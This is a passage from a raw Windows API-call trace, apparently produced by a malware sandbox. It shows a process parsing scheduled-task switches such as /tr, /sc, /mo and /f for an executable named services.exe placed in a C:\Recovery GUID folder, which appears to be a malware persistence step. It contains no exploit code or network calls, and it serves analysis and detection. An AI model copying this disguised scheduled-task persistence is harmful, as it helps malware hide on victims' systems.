_Buf2=0xff081b08, _Size=0x7) returned 0 [0059.567] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|p|") returned 3 [0059.567] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.567] lstrlenW (lpString="|p|") returned 3 [0059.567] lstrlenW (lpString="|tr|") returned 4 [0059.567] SetLastError (dwErrCode=0x490) [0059.567] lstrlenW (lpString="ru") returned 2 [0059.567] lstrlenW (lpString="ru") returned 2 [0059.567] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.567] lstrlenW (lpString="tr") returned 2 [0059.567] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.567] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|ru|") returned 4 [0059.567] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.567] lstrlenW (lpString="|ru|") returned 4 [0059.567] lstrlenW (lpString="|tr|") returned 4 [0059.567] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0059.568] SetLastError (dwErrCode=0x490) [0059.568] lstrlenW (lpString="rp") returned 2 [0059.568] lstrlenW (lpString="rp") returned 2 [0059.568] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.568] lstrlenW (lpString="tr") returned 2 [0059.568] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.568] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|rp|") returned 4 [0059.568] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.568] lstrlenW (lpString="|rp|") returned 4 [0059.568] lstrlenW (lpString="|tr|") returned 4 [0059.568] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0059.568] SetLastError (dwErrCode=0x490) [0059.568] lstrlenW (lpString="sc") returned 2 [0059.568] lstrlenW (lpString="sc") returned 2 [0059.568] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.568] lstrlenW (lpString="tr") returned 2 [0059.568] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.568] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.568] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.568] lstrlenW (lpString="|sc|") returned 4 [0059.568] lstrlenW (lpString="|tr|") returned 4 [0059.568] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0059.568] SetLastError (dwErrCode=0x490) [0059.569] lstrlenW (lpString="mo") returned 2 [0059.569] lstrlenW (lpString="mo") returned 2 [0059.569] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.569] lstrlenW (lpString="tr") returned 2 [0059.569] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.569] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.569] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.569] lstrlenW (lpString="|mo|") returned 4 [0059.569] lstrlenW (lpString="|tr|") returned 4 [0059.569] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0059.569] SetLastError (dwErrCode=0x490) [0059.569] lstrlenW (lpString="d") returned 1 [0059.569] lstrlenW (lpString="d") returned 1 [0059.569] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.569] lstrlenW (lpString="tr") returned 2 [0059.569] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.569] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|d|") returned 3 [0059.569] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.569] lstrlenW (lpString="|d|") returned 3 [0059.569] lstrlenW (lpString="|tr|") returned 4 [0059.569] SetLastError (dwErrCode=0x490) [0059.569] lstrlenW (lpString="m") returned 1 [0059.569] lstrlenW (lpString="m") returned 1 [0059.570] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.570] lstrlenW (lpString="tr") returned 2 [0059.570] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.570] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|m|") returned 3 [0059.570] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.570] lstrlenW (lpString="|m|") returned 3 [0059.570] lstrlenW (lpString="|tr|") returned 4 [0059.570] SetLastError (dwErrCode=0x490) [0059.570] lstrlenW (lpString="i") returned 1 [0059.570] lstrlenW (lpString="i") returned 1 [0059.570] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.570] lstrlenW (lpString="tr") returned 2 [0059.570] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.570] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|i|") returned 3 [0059.570] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.570] lstrlenW (lpString="|i|") returned 3 [0059.570] lstrlenW (lpString="|tr|") returned 4 [0059.570] SetLastError (dwErrCode=0x490) [0059.570] lstrlenW (lpString="tn") returned 2 [0059.570] lstrlenW (lpString="tn") returned 2 [0059.570] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.570] lstrlenW (lpString="tr") returned 2 [0059.570] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.570] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.571] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.571] lstrlenW (lpString="|tn|") returned 4 [0059.571] lstrlenW (lpString="|tr|") returned 4 [0059.571] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0059.571] SetLastError (dwErrCode=0x490) [0059.571] lstrlenW (lpString="tr") returned 2 [0059.571] lstrlenW (lpString="tr") returned 2 [0059.571] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.571] lstrlenW (lpString="tr") returned 2 [0059.571] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.571] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.571] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.571] lstrlenW (lpString="|tr|") returned 4 [0059.571] lstrlenW (lpString="|tr|") returned 4 [0059.571] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0059.571] SetLastError (dwErrCode=0x0) [0059.571] SetLastError (dwErrCode=0x0) [0059.571] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.571] lstrlenW (lpString="-/") returned 2 [0059.571] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0059.571] SetLastError (dwErrCode=0x490) [0059.571] SetLastError (dwErrCode=0x490) [0059.571] SetLastError (dwErrCode=0x0) [0059.571] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.571] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0059.572] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.572] _memicmp (_Buf1=0x1cc480, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.572] _memicmp (_Buf1=0x1cd650, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.572] SetLastError (dwErrCode=0x7a) [0059.572] SetLastError (dwErrCode=0x0) [0059.572] SetLastError (dwErrCode=0x0) [0059.572] lstrlenW (lpString="'C") returned 2 [0059.572] lstrlenW (lpString="-/") returned 2 [0059.572] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0059.572] SetLastError (dwErrCode=0x490) [0059.572] SetLastError (dwErrCode=0x490) [0059.572] SetLastError (dwErrCode=0x0) [0059.572] _memicmp (_Buf1=0x1cd6b0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.572] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.572] GetProcessHeap () returned 0x1b0000 [0059.572] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6d0) returned 1 [0059.572] GetProcessHeap () returned 0x1b0000 [0059.572] RtlReAllocateHeap (Heap=0x1b0000, Flags=0xc, Ptr=0x1cd6d0, Size=0x80) returned 0x1cc3c0 [0059.572] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.572] lstrlenW (lpString=" \x09") returned 2 [0059.572] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0059.572] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0059.572] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0059.572] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0059.572] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0059.573] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0059.574] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0059.575] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0059.575] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0059.575] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0059.575] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0059.575] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0059.575] GetLastError () returned 0x0 [0059.575] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.575] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0059.575] SetLastError (dwErrCode=0x0) [0059.575] SetLastError (dwErrCode=0x0) [0059.575] lstrlenW (lpString="/f") returned 2 [0059.575] lstrlenW (lpString="-/") returned 2 [0059.575] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0059.575] lstrlenW (lpString="create") returned 6 [0059.575] lstrlenW (lpString="create") returned 6 [0059.575] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.575] lstrlenW (lpString="f") returned 1 [0059.575] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.575] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|create|") returned 8 [0059.575] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.575] lstrlenW (lpString="|create|") returned 8 [0059.575] lstrlenW (lpString="|f|") returned 3 [0059.575] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0059.575] SetLastError (dwErrCode=0x490) [0059.575] lstrlenW (lpString="?") returned 1 [0059.575] lstrlenW (lpString="?") returned 1 [0059.576] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.576] lstrlenW (lpString="f") returned 1 [0059.576] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.576] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|?|") returned 3 [0059.576] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.576] lstrlenW (lpString="|?|") returned 3 [0059.576] lstrlenW (lpString="|f|") returned 3 [0059.576] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0059.576] SetLastError (dwErrCode=0x490) [0059.576] lstrlenW (lpString="s") returned 1 [0059.576] lstrlenW (lpString="s") returned 1 [0059.576] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.576] lstrlenW (lpString="f") returned 1 [0059.576] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.576] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|s|") returned 3 [0059.576] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.576] lstrlenW (lpString="|s|") returned 3 [0059.576] lstrlenW (lpString="|f|") returned 3 [0059.576] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0059.576] SetLastError (dwErrCode=0x490) [0059.576] lstrlenW (lpString="u") returned 1 [0059.576] lstrlenW (lpString="u") returned 1 [0059.576] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.577] lstrlenW (lpString="f") returned 1 [0059.577] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.577] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|u|") returned 3 [0059.577] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.577] lstrlenW (lpString="|u|") returned 3 [0059.577] lstrlenW (lpString="|f|") returned 3 [0059.577] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0059.577] SetLastError (dwErrCode=0x490) [0059.577] lstrlenW (lpString="p") returned 1 [0059.577] lstrlenW (lpString="p") returned 1 [0059.577] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.577] lstrlenW (lpString="f") returned 1 [0059.577] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.577] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|p|") returned 3 [0059.577] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.577] lstrlenW (lpString="|p|") returned 3 [0059.577] lstrlenW (lpString="|f|") returned 3 [0059.577] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0059.577] SetLastError (dwErrCode=0x490) [0059.577] lstrlenW (lpString="ru") returned 2 [0059.577] lstrlenW (lpString="ru") returned 2 [0059.577] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.577] lstrlenW (lpString="f") returned 1 [0059.577] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.577] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|ru|") returned 4 [0059.578] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.578] lstrlenW (lpString="|ru|") returned 4 [0059.578] lstrlenW (lpString="|f|") returned 3 [0059.578] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0059.578] SetLastError (dwErrCode=0x490) [0059.578] lstrlenW (lpString="rp") returned 2 [0059.578] lstrlenW (lpString="rp") returned 2 [0059.578] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.578] lstrlenW (lpString="f") returned 1 [0059.578] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.578] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|rp|") returned 4 [0059.578] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.578] lstrlenW (lpString="|rp|") returned 4 [0059.578] lstrlenW (lpString="|f|") returned 3 [0059.578] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0059.578] SetLastError (dwErrCode=0x490) [0059.578] lstrlenW (lpString="sc") returned 2 [0059.578] lstrlenW (lpString="sc") returned 2 [0059.578] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.578] lstrlenW (lpString="f") returned 1 [0059.578] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.578] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|sc|") returned 4 [0059.578] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.578] lstrlenW (lpString="|sc|") returned 4 [0059.579] lstrlenW (lpString="|f|") returned 3 [0059.579] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0059.579] SetLastError (dwErrCode=0x490) [0059.579] lstrlenW (lpString="mo") returned 2 [0059.579] lstrlenW (lpString="mo") returned 2 [0059.579] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.579] lstrlenW (lpString="f") returned 1 [0059.579] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.579] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|mo|") returned 4 [0059.579] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.579] lstrlenW (lpString="|mo|") returned 4 [0059.579] lstrlenW (lpString="|f|") returned 3 [0059.579] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0059.579] SetLastError (dwErrCode=0x490) [0059.579] lstrlenW (lpString="d") returned 1 [0059.579] lstrlenW (lpString="d") returned 1 [0059.579] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.579] lstrlenW (lpString="f") returned 1 [0059.579] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.579] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|d|") returned 3 [0059.579] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.579] lstrlenW (lpString="|d|") returned 3 [0059.579] lstrlenW (lpString="|f|") returned 3 [0059.579] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0059.580] SetLastError (dwErrCode=0x490) [0059.580] lstrlenW (lpString="m") returned 1 [0059.580] lstrlenW (lpString="m") returned 1 [0059.580] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.580] lstrlenW (lpString="f") returned 1 [0059.580] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.580] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|m|") returned 3 [0059.580] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.580] lstrlenW (lpString="|m|") returned 3 [0059.580] lstrlenW (lpString="|f|") returned 3 [0059.580] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0059.580] SetLastError (dwErrCode=0x490) [0059.580] lstrlenW (lpString="i") returned 1 [0059.580] lstrlenW (lpString="i") returned 1 [0059.580] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.580] lstrlenW (lpString="f") returned 1 [0059.580] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.580] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|i|") returned 3 [0059.580] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.580] lstrlenW (lpString="|i|") returned 3 [0059.580] lstrlenW (lpString="|f|") returned 3 [0059.580] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0059.580] SetLastError (dwErrCode=0x490) [0059.580] lstrlenW (lpString="tn") returned 2 [0059.580] lstrlenW (lpString="tn") returned 2 [0059.581] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.581] lstrlenW (lpString="f") returned 1 [0059.581] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.581] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tn|") returned 4 [0059.581] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.581] lstrlenW (lpString="|tn|") returned 4 [0059.581] lstrlenW (lpString="|f|") returned 3 [0059.581] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0059.581] SetLastError (dwErrCode=0x490) [0059.581] lstrlenW (lpString="tr") returned 2 [0059.581] lstrlenW (lpString="tr") returned 2 [0059.581] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.581] lstrlenW (lpString="f") returned 1 [0059.581] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.581] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|tr|") returned 4 [0059.581] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.581] lstrlenW (lpString="|tr|") returned 4 [0059.581] lstrlenW (lpString="|f|") returned 3 [0059.581] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0059.581] SetLastError (dwErrCode=0x490) [0059.581] lstrlenW (lpString="st") returned 2 [0059.581] lstrlenW (lpString="st") returned 2 [0059.581] _memicmp (_Buf1=0x1cc210, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.581] lstrlenW (lpString="f") returned 1 [0059.582] _memicmp (_Buf1=0x1cc350, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.582] _vsnwprintf (in: _Buffer=0x1cc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|st|") returned 4 [0059.582] _vsnwprintf (in: _Buffer=0x1cc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c308 | out: _Buffer="|f|") returned 3 [0059.582] lstrlenW (lpString="|st|") returned 4 [0059.582] lstrlenW (lpString="|f|") returned 3 [0059.582] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0059.582] SetLastError (dwErrCode=0x490) [0059.582] lstrlenW (lpString="sd") returned 2 [0059.582] lstrlenW (lpString="sd") returned 2 [0059.582] 